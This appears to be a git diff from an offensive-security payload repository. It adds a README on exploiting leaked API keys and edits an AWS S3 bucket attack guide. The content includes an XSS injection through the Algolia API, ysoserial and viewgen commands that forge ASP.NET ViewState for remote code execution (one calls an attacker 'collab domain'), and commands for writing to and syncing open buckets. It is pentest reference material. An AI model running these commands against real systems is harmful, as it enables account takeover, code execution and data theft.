e6f94af721 | ||
|
|
742e3204d3 | ||
|
|
5455c30ec7 | ||
|
|
2b1900e046 | ||
|
|
3ca07aeb7a | ||
|
|
2a4c4f46b2 | ||
|
|
0625e2aebf | ||
|
|
c6824e7aa9 | ||
|
|
da3bdc5f61 | ||
|
|
72c54b5c1b | ||
|
|
bb305d0183 | ||
|
|
7b6c8d46aa | ||
|
|
6c161f26b2 | ||
|
|
e0220d1f17 | ||
|
|
3fd0791c2a | ||
|
|
8dffb59ac5 | ||
|
|
4a176615fe | ||
|
|
b6697d8595 | ||
|
|
9a8b2fee8e | ||
|
|
66c9d945b7 | ||
|
|
bd449e9cea | ||
|
|
9b96c7692f | ||
|
|
a331d87ffe | ||
|
|
6baa446144 | ||
|
|
98124178db | ||
|
|
657823a353 | ||
|
|
f6c0f226af | ||
|
|
859695e2be | ||
|
|
a14b3af934 | ||
|
|
0b9d76eb8e | ||
|
|
45af613fd9 | ||
|
|
3cce80cd53 | ||
|
|
382bd9acec | ||
|
|
ca331acba8 | ||
|
|
dab064a583 | ||
|
|
504caa3b50 | ||
|
|
bdef021a6d | ||
|
|
05054af343 | ||
|
|
6cecb8fa7a | ||
|
|
f6564869f0 | ||
|
|
13ba72f124 | ||
|
|
46780de750 | ||
|
|
144b3827ab | ||
|
|
3b85f1b6fc | ||
|
|
b148a9c906 | ||
|
|
a4411ae086 | ||
|
|
7dda79bfc1 | ||
|
|
1cec6e9a35 | ||
|
|
601db0e188 | ||
|
|
9be62677b6 | ||
|
|
c3f96c6753 | ||
|
|
9745e67465 | ||
|
|
6921cde15c | ||
|
|
24a05c7098 | ||
|
|
8cec2e0ca3 | ||
|
|
94a60b43d6 | ||
|
|
a85fa5af28 | ||
|
|
5d4f65720a | ||
|
|
e8cd11f88f | ||
|
|
adcea1a913 | ||
|
|
f5a8a6b62f | ||
|
|
93f6c03b54 | ||
|
|
00f50c5f32 | ||
|
|
edcac293a8 | ||
|
|
b031115588 | ||
|
|
f5702467d6 | ||
|
|
f88da43e1c | ||
|
|
b1a05d1aab | ||
|
|
72c96ade44 | ||
|
|
506014dd5f | ||
|
|
9c2e63818f | ||
|
|
cc8c7b3e70 | ||
|
|
698cc52eaa | ||
|
|
b81df17589 | ||
|
|
bab04f8587 | ||
|
|
765c615efe | ||
|
|
6bc297252a | ||
|
|
403cb4ef65 | ||
|
|
2b3f07236b | ||
|
|
d0f14cbfde | ||
|
|
a458cb397d | ||
|
|
bd861e304f | ||
|
|
0ccccd0fea | ||
|
|
5bb27ee889 | ||
|
|
4d3ee90eec | ||
|
|
81f93a19c2 | ||
|
|
aac5a57932 | ||
|
|
9dfd7835ea | ||
|
|
e467d6096a | ||
|
|
49b9d0aff7 | ||
|
|
271cc269b6 | ||
|
|
e0dbfc1578 | ||
|
|
13864bde04 | ||
|
|
b4633bbb66 | ||
|
|
b8e74fe0ba | ||
|
|
c66197903f | ||
|
|
ee00dc1803 | ||
|
|
4c6f9e21e9 | ||
|
|
eb045a7d12 | ||
|
|
5686af951d | ||
|
|
546ecd0e36 | ||
|
|
aaaeb3f38e | ||
|
|
4b79b865c9 | ||
|
|
187762fac5 | ||
|
|
3af87ddf98 | ||
|
|
cbc57c7330 | ||
|
|
1eb57ad919 | ||
|
|
289fa8c22b | ||
|
|
bbc9029dd6 | ||
|
|
90b182f10f | ||
|
|
a509909561 | ||
|
|
5d1b8bca79 | ||
|
|
9d3eccef48 | ||
|
|
fed4bdab90 | ||
|
|
3b70783450 | ||
|
|
333b9ea85e | ||
|
|
594e35a358 | ||
|
|
4b38516e3b | ||
|
|
bd9378cab7 | ||
|
|
ea1e5a63ad | ||
|
|
09d52cded0 | ||
|
|
3b4218e2a6 | ||
|
|
06ec486aa5 | ||
|
|
0913e8c3bd | ||
|
|
2d4b98b9c2 | ||
|
|
8ed6cdb9ae | ||
|
|
e9489f0768 | ||
|
|
e5090f2797 | ||
|
|
47490c1624 | ||
|
|
87b2ae3ef1 | ||
|
|
9d1ebbacdb | ||
|
|
ec61e99334 | ||
|
|
b22fd26800 | ||
|
|
68df152fd3 | ||
|
|
404afd1d71 | ||
|
|
21d1fe7eee | ||
|
|
ee334f981e | ||
|
|
ef65f36902 | ||
|
|
c0b4381c13 | ||
|
|
f67be6ef0b | ||
|
|
007a1eda83 | ||
|
|
450de2c90f | ||
|
|
e36b15a6d7 | ||
|
|
ecadcf3d0f | ||
|
|
2d5b4f2193 | ||
|
|
6d2cd684fa | ||
|
|
70225232c9 | ||
|
|
a58a8113d1 | ||
|
|
abb81aba7e | ||
|
|
4187f87d0d | ||
|
|
79f2c52ef5 | ||
|
|
c14fe62d0a | ||
|
|
a4e695a92e | ||
|
|
119c4f4712 | ||
|
|
a3ee78fb80 | ||
|
|
4e17443d62 | ||
|
|
40f86d39b0 | ||
|
|
78c882fb34 | ||
|
|
eac421432a | ||
|
|
88d5af0b19 | ||
|
|
bb0177916d | ||
|
|
200a2d38d8 | ||
|
|
f2273f5cce | ||
|
|
8c1c35789d | ||
|
|
1c37517bf3 | ||
|
|
8ff2aa8aff | ||
|
|
90db8b0f11 | ||
|
|
7877647db1 | ||
|
|
357f8a69a8 | ||
|
|
b30ac4e5bb | ||
|
|
ffde81e2c0 | ||
|
|
7068cb6edc | ||
|
|
20bf52eb6a | ||
|
|
1f502ce20d | ||
|
|
b9f2fe367c | ||
|
|
cd2d76d538 | ||
|
|
99857a714f | ||
|
|
e07a654080 | ||
|
|
4db45a263a | ||
|
|
22c82cb277 | ||
|
|
ab6535c6d9 | ||
|
|
1547338f84 | ||
|
|
3bcd3d1b3c | ||
|
|
0070ac5dc4 | ||
|
|
c7a292c19d | ||
|
|
ea0bddc18a | ||
|
|
2e3aef1a19 | ||
|
|
8b39647de6 | ||
|
|
67c644a300 | ||
|
|
e480c9358d | ||
|
|
bd97c0be86 | ||
|
|
d57d59eca7 | ||
|
|
d5478d1fd6 | ||
|
|
82d4ff6c1d | ||
|
|
b9efdb52d3 | ||
|
|
38c3bfbd9f | ||
|
|
cdc3b5e080 | ||
|
|
c25af52316 | ||
|
|
a6475a19d9 | ||
|
|
9c529535a5 | ||
|
|
9c878f9b09 | ||
|
|
b4aff1a826 | ||
|
|
e096d10a30 | ||
|
|
b59e24312e | ||
|
|
5b7a3a95d3 | ||
|
|
69c1d601fa | ||
|
|
8403068681 | ||
|
|
20c6bb2299 | ||
|
|
1d6b34ace5 | ||
|
|
f1fec1c952 | ||
|
|
1e4e04831b | ||
|
|
68325c8b98 | ||
|
|
c8d7575ba3 | ||
|
|
521d61d956 | ||
|
|
928a454531 | ||
|
|
b34cff5a74 | ||
|
|
1225a9a23d | ||
|
|
565b40d177 | ||
|
|
0309a2efbd | ||
|
|
59d0020c86 | ||
|
|
a0f8e846fa | ||
|
|
fd99da6c06 | ||
|
|
5c1d025b03 | ||
|
|
7096b813ec | ||
|
|
182db99e13 | ||
|
|
133518a78b | ||
|
|
081df9b24d |
5
.github/FUNDING.yml
vendored
Normal file
5
.github/FUNDING.yml
vendored
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
# These are supported funding model platforms
|
||||||
|
|
||||||
|
github: swisskyrepo
|
||||||
|
ko_fi: swissky # Replace with a single Ko-fi username
|
||||||
|
custom: https://www.buymeacoffee.com/swissky
|
||||||
BIN
.github/banner.png
vendored
Normal file
BIN
.github/banner.png
vendored
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 810 KiB |
2519
.github/hopla_config.json
vendored
Normal file
2519
.github/hopla_config.json
vendored
Normal file
File diff suppressed because it is too large
Load Diff
1
.gitignore
vendored
1
.gitignore
vendored
@@ -1,3 +1,4 @@
|
|||||||
BuildPDF/
|
BuildPDF/
|
||||||
.vscode
|
.vscode
|
||||||
.todo
|
.todo
|
||||||
|
AWS Amazon Lambda/
|
||||||
3571
API Key Leaks/Files/MachineKeys.txt
Normal file
3571
API Key Leaks/Files/MachineKeys.txt
Normal file
File diff suppressed because it is too large
Load Diff
224
API Key Leaks/README.md
Normal file
224
API Key Leaks/README.md
Normal file
@@ -0,0 +1,224 @@
|
|||||||
|
# API Key Leaks
|
||||||
|
|
||||||
|
> The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
- [Tools](#tools)
|
||||||
|
- [Exploit](#exploit)
|
||||||
|
- [Google Maps](#google-maps)
|
||||||
|
- [Algolia](#algolia)
|
||||||
|
- [AWS Access Key ID & Secret](#aws-access-key-id--secret)
|
||||||
|
- [Slack API Token](#slack-api-token)
|
||||||
|
- [Facebook Access Token](#facebook-access-token)
|
||||||
|
- [Github client id and client secret](#github-client-id-and-client-secret)
|
||||||
|
- [Twilio Account_sid and Auth Token](#twilio-account_sid-and-auth-token)
|
||||||
|
- [Twitter API Secret](#twitter-api-secret)
|
||||||
|
- [Twitter Bearer Token](#twitter-bearer-token)
|
||||||
|
- [Gitlab Personal Access Token](#gitlab-personal-access-token)
|
||||||
|
- [HockeyApp API Token](#hockeyapp-api-token)
|
||||||
|
- [IIS Machine Keys](#iis-machine-keys)
|
||||||
|
- [Mapbox API Token](#Mapbox-API-Token)
|
||||||
|
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
- [KeyFinder - is a tool that let you find keys while surfing the web!](https://github.com/momenbasel/KeyFinder)
|
||||||
|
- [Keyhacks - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.](https://github.com/streaak/keyhacks)
|
||||||
|
- [truffleHog - Find credentials all over the place](https://github.com/trufflesecurity/truffleHog)
|
||||||
|
```ps1
|
||||||
|
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys
|
||||||
|
docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
|
||||||
|
trufflehog git https://github.com/trufflesecurity/trufflehog.git
|
||||||
|
trufflehog github --endpoint https://api.github.com --org trufflesecurity --token GITHUB_TOKEN --debug --concurrency 2
|
||||||
|
```
|
||||||
|
|
||||||
|
## Exploit
|
||||||
|
|
||||||
|
The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.
|
||||||
|
|
||||||
|
### Google Maps
|
||||||
|
|
||||||
|
Use : https://github.com/ozguralp/gmapsapiscanner/
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
| Name | Endpoint |
|
||||||
|
| --- | --- |
|
||||||
|
| Static Maps | https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE |
|
||||||
|
| Streetview | https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE |
|
||||||
|
| Embed | https://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE |
|
||||||
|
| Directions | https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE |
|
||||||
|
| Geocoding | https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE |
|
||||||
|
| Distance Matrix | https://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE |
|
||||||
|
| Find Place from Text | https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE |
|
||||||
|
| Autocomplete | https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE |
|
||||||
|
| Elevation | https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE |
|
||||||
|
| Timezone | https://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510×tamp=1331161200&key=KEY_HERE |
|
||||||
|
| Roads | https://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795|60.170879,24.942796|60.170877,24.942796&key=KEY_HERE |
|
||||||
|
| Geolocate | https://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE |
|
||||||
|
|
||||||
|
|
||||||
|
Impact:
|
||||||
|
* Consuming the company's monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
|
||||||
|
* Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account
|
||||||
|
|
||||||
|
### Algolia
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl --request PUT \
|
||||||
|
--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
|
||||||
|
--header 'content-type: application/json' \
|
||||||
|
--header 'x-algolia-api-key: <example-key>' \
|
||||||
|
--header 'x-algolia-application-id: <example-application-id>' \
|
||||||
|
--data '{"highlightPreTag": "<script>alert(1);</script>"}'
|
||||||
|
```
|
||||||
|
|
||||||
|
### Slack API Token
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Facebook Access Token
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
|
||||||
|
```
|
||||||
|
|
||||||
|
### Github client id and client secret
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
|
||||||
|
```
|
||||||
|
|
||||||
|
### Twilio Account_sid and Auth token
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
|
||||||
|
```
|
||||||
|
|
||||||
|
### Twitter API Secret
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
|
||||||
|
```
|
||||||
|
|
||||||
|
### Twitter Bearer Token
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
|
||||||
|
```
|
||||||
|
|
||||||
|
### Gitlab Personal Access Token
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### HockeyApp API Token
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### IIS Machine Keys
|
||||||
|
|
||||||
|
> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
|
||||||
|
|
||||||
|
Requirements
|
||||||
|
* machineKey **validationKey** and **decryptionKey**
|
||||||
|
* __VIEWSTATEGENERATOR cookies
|
||||||
|
* __VIEWSTATE cookies
|
||||||
|
|
||||||
|
Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
|
||||||
|
```
|
||||||
|
|
||||||
|
Common locations of **web.config** / **machine.config**
|
||||||
|
* 32-bit
|
||||||
|
* C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
|
||||||
|
* C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
|
||||||
|
* 64-bit
|
||||||
|
* C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
|
||||||
|
* C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
|
||||||
|
* in registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
|
||||||
|
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
|
||||||
|
* HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
|
||||||
|
|
||||||
|
|
||||||
|
#### Identify known machine key
|
||||||
|
|
||||||
|
* Exploit with [Blacklist3r/AspDotNetWrapper](https://github.com/NotSoSecure/Blacklist3r)
|
||||||
|
* Exploit with [ViewGen](https://github.com/0xacb/viewgen)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
|
||||||
|
# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
|
||||||
|
$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
|
||||||
|
[+] ViewState is not encrypted
|
||||||
|
[+] Signature algorithm: SHA1
|
||||||
|
|
||||||
|
# --encrypteddata : __VIEWSTATE parameter value of the target application
|
||||||
|
# --modifier : __VIEWSTATEGENERATOR parameter value
|
||||||
|
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> –macdecode
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Decode ViewState
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
|
||||||
|
|
||||||
|
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=CA0B0334 --macdecode
|
||||||
|
|
||||||
|
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
#### Generate ViewState for RCE
|
||||||
|
|
||||||
|
**NOTE**: Send a POST request with the generated ViewState to the same endpoint, in Burp you should **URL Encode Key Characters** for your payload.
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>" --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>" --validationalg="SHA1" --validationkey="<validation key>"
|
||||||
|
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
|
||||||
|
$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
|
||||||
|
|
||||||
|
$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
#### Edit cookies with the machine key
|
||||||
|
|
||||||
|
If you have the machineKey but the viewstate is disabled.
|
||||||
|
|
||||||
|
ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# decrypt cookie
|
||||||
|
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
|
||||||
|
|
||||||
|
# encrypt cookie (edit Decrypted.txt)
|
||||||
|
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
### Mapbox API Token
|
||||||
|
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
|
||||||
|
```
|
||||||
|
#Check token validity
|
||||||
|
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
|
||||||
|
|
||||||
|
#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropiate scope)
|
||||||
|
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Finding Hidden API Keys & How to use them - Sumit Jain - August 24, 2019](https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
|
||||||
|
* [Private API key leakage due to lack of access control - yox - August 8, 2018](https://hackerone.com/reports/376060)
|
||||||
|
* [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/)
|
||||||
|
* [Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
|
||||||
|
* [Mapbox API Token Documentation](https://docs.mapbox.com/help/troubleshooting/how-to-use-mapbox-securely/)
|
||||||
@@ -1,5 +1,20 @@
|
|||||||
# Amazon Bucket S3 AWS
|
# Amazon Bucket S3 AWS
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
- [AWS Configuration](#aws-configuration)
|
||||||
|
- [Open Bucket](#open-bucket)
|
||||||
|
- [Basic tests](#basic-tests)
|
||||||
|
- [Listing files](#listing-files)
|
||||||
|
- [Move a file into the bucket](move-a-file-into-the-bucket)
|
||||||
|
- [Download every things](#download-every-things)
|
||||||
|
- [Check bucket disk size](#check-bucket-disk-size)
|
||||||
|
- [AWS - Extract Backup](#aws---extract-backup)
|
||||||
|
- [Bucket juicy data](#bucket-juicy-data)
|
||||||
|
|
||||||
|
|
||||||
|
## AWS Configuration
|
||||||
|
|
||||||
Prerequisites, at least you need awscli
|
Prerequisites, at least you need awscli
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
@@ -19,7 +34,17 @@ AWSSecretKey=[ENTER HERE YOUR KEY]
|
|||||||
aws configure --profile nameofprofile
|
aws configure --profile nameofprofile
|
||||||
```
|
```
|
||||||
|
|
||||||
then you can use *--profile nameofprofile* in the aws command
|
then you can use *--profile nameofprofile* in the aws command.
|
||||||
|
|
||||||
|
Alternatively you can use environment variables instead of creating a profile.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export AWS_ACCESS_KEY_ID=ASIAZ[...]PODP56
|
||||||
|
export AWS_SECRET_ACCESS_KEY=fPk/Gya[...]4/j5bSuhDQ
|
||||||
|
export AWS_SESSION_TOKEN=FQoGZXIvYXdzE[...]8aOK4QU=
|
||||||
|
```
|
||||||
|
|
||||||
|
## Open Bucket
|
||||||
|
|
||||||
By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names
|
By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names
|
||||||
|
|
||||||
@@ -27,6 +52,7 @@ By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_na
|
|||||||
http://s3.amazonaws.com/[bucket_name]/
|
http://s3.amazonaws.com/[bucket_name]/
|
||||||
http://[bucket_name].s3.amazonaws.com/
|
http://[bucket_name].s3.amazonaws.com/
|
||||||
http://flaws.cloud.s3.amazonaws.com/
|
http://flaws.cloud.s3.amazonaws.com/
|
||||||
|
https://buckets.grayhatwarfare.com/
|
||||||
```
|
```
|
||||||
|
|
||||||
Their names are also listed if the listing is enabled.
|
Their names are also listed if the listing is enabled.
|
||||||
@@ -36,11 +62,21 @@ Their names are also listed if the listing is enabled.
|
|||||||
<Name>adobe-REDACTED-REDACTED-REDACTED</Name>
|
<Name>adobe-REDACTED-REDACTED-REDACTED</Name>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Basic test - Listing the files
|
Alternatively you can extract the name of inside-site s3 bucket with `%C0`. (Trick from https://twitter.com/0xmdv/status/1065581916437585920)
|
||||||
|
|
||||||
|
```xml
|
||||||
|
http://example.com/resources/id%C0
|
||||||
|
|
||||||
|
eg: http://redacted/avatar/123%C0
|
||||||
|
```
|
||||||
|
|
||||||
|
## Basic tests
|
||||||
|
|
||||||
|
### Listing files
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
|
aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
|
||||||
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
|
aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2
|
||||||
```
|
```
|
||||||
|
|
||||||
You can get the region with a dig and nslookup
|
You can get the region with a dig and nslookup
|
||||||
@@ -55,7 +91,7 @@ Non-authoritative answer:
|
|||||||
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
|
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
|
||||||
```
|
```
|
||||||
|
|
||||||
## Move a file into the bucket
|
### Move a file into the bucket
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read
|
aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read
|
||||||
@@ -70,13 +106,15 @@ aws s3 mv test.txt s3://hackerone.files
|
|||||||
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
|
SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Download every things (in an open bucket)
|
### Download every things
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2
|
aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2
|
||||||
```
|
```
|
||||||
|
|
||||||
## Check bucket disk size (authenticated) use, --no-sign for un-authenticated
|
### Check bucket disk size
|
||||||
|
|
||||||
|
Use `--no-sign` for un-authenticated check.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}'
|
aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}'
|
||||||
@@ -85,25 +123,27 @@ aws s3 ls s3://<bucketname> --recursive | grep -v -E "(Bucket: |Prefix: |LastWr
|
|||||||
## AWS - Extract Backup
|
## AWS - Extract Backup
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
aws --profile flaws sts get-caller-identity
|
$ aws --profile flaws sts get-caller-identity
|
||||||
"Account": "XXXX26262029",
|
"Account": "XXXX26262029",
|
||||||
|
|
||||||
aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
|
|
||||||
|
$ aws --profile profile_name ec2 describe-snapshots
|
||||||
|
$ aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2
|
||||||
"SnapshotId": "snap-XXXX342abd1bdcb89",
|
"SnapshotId": "snap-XXXX342abd1bdcb89",
|
||||||
|
|
||||||
Create a volume using snapshot
|
Create a volume using snapshot
|
||||||
aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89
|
$ aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89
|
||||||
In Aws Console -> EC2 -> New Ubuntu
|
In Aws Console -> EC2 -> New Ubuntu
|
||||||
chmod 400 YOUR_KEY.pem
|
$ chmod 400 YOUR_KEY.pem
|
||||||
ssh -i YOUR_KEY.pem ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
|
